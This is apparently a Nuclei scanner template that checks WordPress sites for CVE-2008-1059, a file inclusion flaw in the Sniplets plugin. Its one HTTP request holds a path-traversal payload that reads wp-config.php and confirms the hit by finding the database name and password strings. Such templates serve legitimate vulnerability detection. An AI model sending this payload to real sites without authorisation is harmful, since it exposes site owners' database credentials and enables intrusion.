id: CVE-2008-1059 info: name: WordPress Sniplets 1.1.2 - Local File Inclusion author: dhiyaneshDK severity: high description: | PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation. remediation: | Update WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/5194 - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881 - https://nvd.nist.gov/vuln/detail/CVE-2008-1059 - http://securityreason.com/securityalert/3706 - https://exchange.xforce.ibmcloud.com/vulnerabilities/40829 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2008-1059 cwe-id: CWE-94 epss-score: 0.01493 epss-percentile: 0.86573 cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wordpress product: sniplets_plugin tags: cve2008,cve,lfi,wordpress,wp-plugin,wp,sniplets,edb,wpscan http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php' matchers-condition: and matchers: - type: word part: body words: - "DB_NAME" - "DB_PASSWORD" condition: and - type: status status: - 200 # digest: 4a0a0047304502205ecbba6e0e199b46f608f16ac8f807072e05bbafa717633027622a0dda0496fe022100df4658dec4f7e3cb9a3a5a504830913ca49faea4c712f6285b50dbc2ea9d1df3:922c64590222798bb761d5b6d8e72950